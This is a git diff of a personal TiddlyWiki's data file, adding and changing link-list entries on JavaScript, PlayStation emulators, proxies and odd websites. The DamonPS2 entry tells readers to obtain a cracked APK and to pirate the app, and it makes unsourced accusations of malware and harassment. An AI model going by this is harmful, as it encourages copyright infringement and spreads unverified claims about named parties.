[[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"}, {"title":"JavaScript/Frameworks","created":"20230429190756464","creator":"Octt","modified":"20231229012758540","modifier":"Octt","tags":"","text":"* ''[[Alpine.js|https://alpinejs.dev/]]'' - //Rugged, minimal\u003C\u003Cfnote \"15 attributes, 6 properties, 2 methods\">> framework for composing JavaScript behavior in the markup// - [[[Git|https://github.com/alpinejs/alpine]]]\n** [[HyperJS|https://js.hyperui.dev/]] - //Collection of Alpine JS components// - \u003C\u003C[ \"[[Git|https://github.com/markmead/hyperjs]]\">> \n* ''[[Electron|https://www.electronjs.org/]]'' - //Build cross-platform desktop apps with JavaScript, HTML, and CSS// - [[[Git|https://github.com/electron]]]\n* ''[[React|https://reactjs.org/]]'' - //Building UI-oriented apps with [[JSX|https://en.wikipedia.org/wiki/JSX_(JavaScript)]]// - [[[Git|https://github.com/facebook/react]]]\n** ''[[React Native|https://reactnative.dev/]]'' - //Compiling ReactJS apps to native ones// - [[[Git|https://github.com/facebook/react-native]]]\n* [[Preact|https://preactjs.com/]] --- //⚛️ Fast 3kB React alternative with the same modern API. Components & Virtual DOM.// --- \u003C\u003C[# Git\"https://github.com/preactjs\">>\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n"}, {"title":"JavaScript/Libraries","created":"20230429182925276","creator":"Octt","modified":"20240107164336993","modifier":"Octt","tags":"","text":"Note: some are still in [[Web/Development]]\n\n!!! ''Single-purpose''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] --- //An HTML5 saveAs() FileSaver implementation//\n* `jsdom`: //JavaScript implementation of various web standards, for use with Node.js// --- \u003C\u003C[# Git \"https://github.com/jsdom/jsdom\">>\n* [[Axios|https://axios-http.com/]] --- //Promise based HTTP client for the browser and node.js// --- \u003C\u003C[# Git\"https://github.com/axios\">>\n** [[How to display response error message with axios|https://stackoverflow.com/questions/44385872/how-to-display-response-error-message-with-axios]] --- `try { ... } catch(err) { console.log(err.response.data.message) }`\n\n!!! ''Do-all''\n\n* [[jQuery|https://jquery.com/]] --- //write less, do more// for general operations (has optional libraries for selectors and UI) --- \u003C\u003C[ \"[[Git|https://github.com/jquery]]\">>\n* [[Licia|https://licia.liriliri.io/]] - //utility library to get daily works done// - \u003C\u003C[ \"[[Git|https://github.com/liriliri/licia]]\">>\n* [[Lodash|https://lodash.com/]] - More modern fork of Underscore, useful for working with data objects - \u003C\u003C[ \"[[Git|https://github.com/lodash]]\">>\n* [[🐚 zx|https://google.github.io/zx/]] --- //A tool for writing better scripts//, it's like better sh scripting done via JavaScript. --- \u003C\u003C[# Git\"https://github.com/google/zx\">>\n\n!!! ''Polyfills''\n\nThese are for adding newer APIs to older browsers when making a webapp that uses them.\n\n* [[ECMAScript Shims|https://github.com/es-shims]] - Collection of compliant shims\n* [[core-js|https://github.com/zloirock/core-js]] - Pure JS Standard Library reimplementation\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //shim for the iFrame \"srcdoc\" attribute//\n* [[CSS Checkbox Hack|https://github.com/jamesl1001/checkbox-hack-polyfill]]\n* [[\u003Cdetails>|https://github.com/rstacruz/details-polyfill]]\n"}, {"title":"johncena141:en","created":"20220923152137538","modified":"20230206111552176","modifier":"Octt","tags":"Gaming $:/i18n:en","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations."}, @@ -1346,13 +1347,12 @@ {"title":"PlayStation","created":"20231219123628187","creator":"Octt","modified":"20231222113923429","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PlayStation>>\n\n* [[PlayStation Developer Wiki|https://www.psdevwiki.com]] (concerning all PS consoles)\n\n* [[Dodgy Keblog|https://dodgyke.blogspot.com/]] --- //The DodgyKebaab PlayStation Save File repository//\n\n* [[どこでもいっしょ.com (PlayStation)|https://www.playstation.com/ja-jp/games/dokodemoissyo/]]\n** //''[[Doko Demo Issyo Wiki|https://dokodemo.fandom.com/]]'' is a collaborative website about the Doko Demo Issyo series that anyone can edit!//\n** \u003C\u003CYoutubeL 0x8Tgm9s068 \"PlayStation’s Forgotten Official Mascot - The Complete History of Toro Inoue & Doko Domo Issyo\">>\n"}, {"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20231123221852893","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds !|https://github.com/ABelliqueux/nolibgs_hello_worlds]] --- //Collection of PsyQ basic examples NOT using libgs//\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"}, {"title":"PlayStation 2","created":"20230215232019778","creator":"Octt","modified":"20231102232229939","modifier":"Octt","tags":"Console Gaming Sony","text":"\u003C\u003C^WikipediaFrame \"PlayStation 2\" en>>\n\n* \u003C\u003CYoutubeL J7LL5zEUHZo \"Can the PS2 Emulate the N64? Plus RetroArch and Other Emulation Oddities! [Sharopolis]\">>\n\n!!! Emulators\n\n* \u003C\u003Clinkdescgit PCSX2 \"https://pcsx2.net\" \"free and open-source PlayStation 2 (PS2) emulator\" \"https://github.com/PCSX2/pcsx2\">>\n* \u003C\u003Clinkdescgit \"Play!/Purei\" \"https://purei.org\" \"PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms\" \"https://github.com/jpd002/Play-\">> \u003C\u003C[# Compatibility \"https://github.com/jpd002/Play-Compatibility/issues\">> --- promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.\n* [[AetherSX2|https://aethersx2.com]] abandoned //emulator of the PS Two console for the Android platform, desktop, UWP//, miles better than DamonPS2 despite the problems.\n** Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is [[v1.4-3060|https://www.apkmirror.com/apk/aethersx2/aethersx2/aethersx2-v1-4-3060-release/]].\n** Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...\n\n* [[DamonPS2|http://www.damonemu.com/]] --- The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).\n** [[Stole PCSX2 code without at all respecting the license|https://pcsx2.net/blog/2018/the-pcsx2-teams-statement-regarding-the-damonps2-emulator/]], and also [[steals trademarks like the PPSSPP name|http://web.archive.org/web/20230501085937/https://play.google.com/store/apps/details?id=com.damonplay.damonps2.free]]. Don't give them any money, find a cracked pro APK without ads if you really want to use it, and (as a random user on Reddit said) [[pirate the shit out of it and don't feel bad about it|https://old.reddit.com/r/EmulationOnAndroid/comments/bhdxow/question_is_damon_stolen_code/els800b/]], really you won't be doing anything more wrong than buying, because ''official DamonPS2 is in itself an illegal pirated version of PCSX2''. They also consistently deny the evidence of stolen code and use an \u003C\u003CRedditL \"r/EmulationOnAndroid/comments/qs4nye/for_all_those_people_who_hate_damon_ps2/\" \"excuse of having a 'copyright certificate of the Chinese government'\">> as if that would mean anything when talking international copyright.\n** Some people speculate that among the individuals that harassed Tahlreth there could also have been DamonPS2 developers/henchmen, desperate to make the wonderful AetherSX2 end after they failed at destroying it by fake DMCA requests.\n"}, -{"title":"PlayStation Portable","created":"20230202110726082","creator":"Octt","modified":"20231222113814366","modifier":"Octt","tags":"Gaming Sony Console $:/i18n:en WIP","text":"\u003C\u003C^wikipediaframe PlayStation_Portable en>>\n\n* [[pspunk - PSP Guides & Resources|https://www.pspunk.com/]]\n\n* [[How to connect your PSP on Linux|https://gist.github.com/mhitza/81651f49b3a43e6f4554]] --- if it doesn't work automatically, do `sudo modprobe usb-storage`\n** \u003C\u003CRedditL r/PSP/comments/54tuxr/guide_remotejoy_on_linux_with_6xx_fw \"[GUIDE] Remotejoy on linux with 6.xx fw\">> --- //The Guide to displaying your PSP screen on your PC over usb on linux// (... apparently not working for me but I'll save)\n\n* [[PPSSPP|https://www.ppsspp.org]] --- //PSP emulator for Android, Windows, Mac and Linux, written in C++.// --- \u003C\u003C[# Git \"https://github.com/hrydgard/ppsspp\">>\n"}, +{"title":"PlayStation Portable","created":"20230202110726082","creator":"Octt","modified":"20240110004702177","modifier":"Octt","tags":"Gaming Sony Console $:/i18n:en WIP","text":"\u003C\u003C^wikipediaframe PlayStation_Portable en>>\n\n* [[pspunk - PSP Guides & Resources|https://www.pspunk.com/]]\n\n* [[How to connect your PSP on Linux|https://gist.github.com/mhitza/81651f49b3a43e6f4554]] --- if it doesn't work automatically, do `sudo modprobe usb-storage`\n** \u003C\u003CRedditL r/PSP/comments/54tuxr/guide_remotejoy_on_linux_with_6xx_fw \"[GUIDE] Remotejoy on linux with 6.xx fw\">> --- //The Guide to displaying your PSP screen on your PC over usb on linux// (... apparently not working for me but I'll save)\n\n* [[joysens|https://github.com/albe/joysens]] --- //Infamous PSP Plugin for fixing broken Joysticks on the Playstation Portable//\n** \u003C\u003CRedditL r/PSP/comments/gtid7b/how_do_you_disable_the_analog_stick_entirely \"How do you disable the analog stick entirely?\">>\n\n* [[PPSSPP|https://www.ppsspp.org]] --- //PSP emulator for Android, Windows, Mac and Linux, written in C++.// --- \u003C\u003C[# Git \"https://github.com/hrydgard/ppsspp\">>\n"}, {"title":"PocketGo","created":"20230205150132792","creator":"Octt","modified":"20230205150144435","modifier":"Octt","tags":"TODO"}, {"title":"Pokémon","created":"20230130082217716","creator":"Octt","modified":"20231107235312300","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe Pokémon en>>\n\n* [[Bulbapedia|https://bulbapedia.bulbagarden.net/wiki/Main_Page]] --- //community-driven Pokémon encyclopedia//\n** [[Pokémon Central Wiki|https://wiki.pokemoncentral.it/]] --- //enciclopedia Pokémon in italiano//\n\n* [[Smogon University|https://www.smogon.com/]] --- //Pokémon website and community specializing in the art of competitive battling//\n** \u003C\u003Clinkdescgit \"Pokémon Showdown\" \"https://pokemonshowdown.com/\" \"online Pokémon battle simulator\n\" \"https://github.com/smogon/pokemon-showdown\">>\n\n* \u003C\u003Clinkdescgit \"Complete FireRed Upgrade\" \"https://www.pokecommunity.com/showthread.php?t=425447\" \"complete upgrade for FireRed, including an upgraded Battle Engine\" \"https://github.com/Skeli789/Complete-Fire-Red-Upgrade\">>\n* [[pret's Pokémon decompilation projects|https://github.com/pret]]\n"}, {"title":"Pokémon Marron Merda:it","created":"20230130082307771","creator":"Octt","modified":"20230206111646499","modifier":"Octt","tags":"TODO $:/i18n:it"}, {"title":"Portable storage for consoles at home and emulators on the go","created":"20231020223909403","creator":"Octt","modified":"20231020230319442","modifier":"Octt","tags":"WIP","text":"With some ideas, it's possible to conciliate the gaming at home on standard consoles, with the gaming on the go via smartphone emulators.\nIdeal setups revolve around the use of pocketable storage mediums (SD cards and USB pendrives) that are shared between the devices and hold all the games with all the latest save files, in a centralized plug-and-play fashion.\n\n* [[2️⃣ Gaming sincronizzato tra PlayStation 2 e smartphone|https://sitoctt.octt.eu.org/Posts/Notes/2023-10-17-Gaming-Sincronizzato-PS2-Smartphone.html]]\n* ...\n"}, {"title":"Printing","created":"20230902000702833","creator":"Octt","modified":"20231221002107428","modifier":"Octt","tags":"Printing","text":"\u003C\u003C^wikipediaframe Printing>>\n\n* [[SystemPrinting (Debian)|https://wiki.debian.org/SystemPrinting]] --- //A basic view of the CUPS Printing system. Aimed at Debian 11 (bullseye) but it should fit most...//\n\n!! Printer\n\n\u003C\u003C^wikipediaframe \"Printer (computing)\">>\n\n* \u003C\u003CYoutubeL x5PuI2flZJI \"10 Ways to Use Your Mini Thermal Printer\">>\n"}, -{"title":"Programming","created":"20230816230758244","creator":"Octt","modified":"20231107223445327","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Computer programming\">>\n\n* \u003C\u003CWikipediaL \"Loop unrolling\">>\n** \u003C\u003CWikipediaL \"Duff's device\">> --- I can't totally understand how this works but the piece of code is visually a beautiful machine\n\n* \u003C\u003CWikipediaL Header-only>>\n\n* \u003C\u003CWikipediaL \"Program optimization\">>\n\n* [[How much abstraction is too much?|https://stackoverflow.com/questions/2668355/how-much-abstraction-is-too-much]] ; [[Can too much abstraction be bad?|https://softwareengineering.stackexchange.com/questions/202477/can-too-much-abstraction-be-bad]]\n"}, {"title":"Proprietary Software","created":"20230207214504841","creator":"Octt","modified":"20230207214653696","modifier":"Octt","tags":"","text":"//''Proprietary Software'': it's not really proprietary if you don't care about absurd EULAs and just always take your liberty to run, study, modify, and share it.//"}, {"title":"Proxy","created":"20231222122318382","creator":"Octt","modified":"20231222123655724","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Proxy>>\n\n* [[Art Class|https://artclass.site/]] --- //Enjoy unblocked games, apps, and more.// --- \u003C\u003C[# Git\"https://github.com/art-class\">>\n* \u003C\u003ChttpsL Tinf0il.tech>> --- //Pr­obe the int­ern­et pri­vat­ely// --- \u003C\u003C[# Git\"https://github.com/Aluminum-Depot\">>\n"}, {"title":"Pseudo-OS","created":"20230117105218211","creator":"Octt","modified":"20230823232212160","modifier":"Octt","tags":"TODO $:/i18n:en","text":"A ''pseudo-operating-system'' is a software that acts (in a limited way) like an operating system, but is usually a normal application that runs on top of real OS.\n\n!!! ''Here are some''\n\n* [[daedalOS|daedalOS]]\n* ''OS.js'': [[Website|https://www.os-js.org]] | [[Demo|https://demo.os-js.org]] | [[Git|https://github.com/os-js]]\n"}, @@ -1423,7 +1423,7 @@ {"title":"Standard Notes","created":"20230113230249689","creator":"Octt","modified":"20230221221847294","modifier":"Octt","tags":"App $:/i18n:en","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]\n\n!!! ''Other''\n\n; [[Using Standard Notes as a Personal Knowledge Base|https://technosoof.wordpress.com/2020/04/10/using-standard-notes-as-a-personal-knowledge-base/]] - \u003C\u003Cmywarc 466>>\n: Need of coping with lack of text-search scoped to only the current note. \u003Cdd>\nBrowser's integrated search is a decent solution.\n\u003C/dd>\n: No actual hyperlinks will force you to manually craft a compact GUID system. \u003Cdd>\nGUIDs can't be changed later, so using dates + single letters for types is a needed thing.\n\u003C/dd> \u003Cdd>\nSeparating drafts from normal notes, WIP, etc... is optimal too.\n\u003C/dd>\n\n; [[Why Encrypted - Standard Notes|https://standardnotes.com/why-encrypted]] - \u003C\u003Cmywarc 409>>\n: Today's popular tech is far from private by default.\n: The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.\n: When you get privacy, and finally //write like it's nobody's business//, you will have peace of mind.\n"}, {"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"}, {"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The world’s fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //🌐 Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. 🎬\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //💎 🐳 A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance ✨ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"}, -{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240103003442135","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, +{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240110005819739","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, {"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240107164644508","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"}, {"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20231212222839172","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"}, {"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20231212223439290","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"}, diff --git a/Static.html b/Static.html index a623018d..48abaae0 100644 --- a/Static.html +++ b/Static.html @@ -5403,7 +5403,7 @@

All Tiddlers

-
  1. ~Welcome~
  2. 1337x:en
  3. 2048
  4. 2248
  5. 6502
  6. 7z
  7. A Hat in Time:en
  8. Abandonware
  9. ActivityPub
  10. Adobe Flash
  11. Advertising
  12. Agile article covers, from stock photos to AI
  13. Alcohol
  14. Android
  15. Animal Crossing
  16. Anti-Capitalist Software License:en
  17. Anti-Fascist MIT License:en
  18. App
  19. Apple Inc
  20. Archive
  21. Arduino:en
  22. Aria2
  23. ARM
  24. Artificial intelligence
  25. Assembly language
  26. Astral projection
  27. Balloon Fight:en
  28. Barcode
  29. Base64
  30. BASIC
  31. BBCode
  32. BBS
  33. Binary data
  34. BitTorrent
  35. Bluetooth
  36. C Language
  37. C++
  38. Calculator
  39. Candle
  40. Cartography
  41. CASIO
  42. Celeste
  43. Character Art
  44. Character encoding
  45. Chat
  46. CHIP-8
  47. Clock
  48. Coding
  49. Compiler
  50. Computing
  51. Content delivery network
  52. Copypasta
  53. Copyright
  54. Cryptocurrency
  55. CSS
  56. CTGP Nitro
  57. CUPS
  58. CyanogenMod:en
  59. Cybersecurity
  60. D-Pad:en
  61. daedalOS
  62. Dart
  63. Data compression
  64. Data corruption
  65. Data recovery
  66. Data serialization
  67. Data storage
  68. Database
  69. Demoscene
  70. Development
  71. DevKitPro
  72. Digital Garden
  73. Digital signing
  74. Discord
  75. Display
  76. DIY
  77. DNS
  78. Docker
  79. Document
  80. DOOM
  81. DOS
  82. dpkg
  83. DraStic
  84. E-Paper
  85. Earning Resources
  86. Electronics
  87. Email
  88. Email Settings
  89. Emulation
  90. Endianness
  91. English
  92. EPSON WF-2510
  93. Eruda
  94. ESP8266:en
  95. F-Zero
  96. Fantasy computer
  97. Fediverse
  98. FFmpeg
  99. File manager
  100. File sharing
  101. File system
  102. Firmware
  103. Flashcart
  104. Ford
  105. Forum
  106. Free sharing
  107. Freedom
  108. FreshRSS
  109. Friendica
  110. Frontend
  111. Game Boy
  112. Game cheating
  113. Game development
  114. Game modding
  115. Game save
  116. Gamepad
  117. Gaming
  118. Gaming console
  119. GBA
  120. GettingStarted
  121. GIF
  122. GIMP
  123. Git
  124. GitHub
  125. GitLab
  126. GNOME
  127. GNU:en
  128. Google
  129. GPT
  130. GUI
  131. Hacker News:en
  132. Hacking a chain strap in an USB SD card reader for security
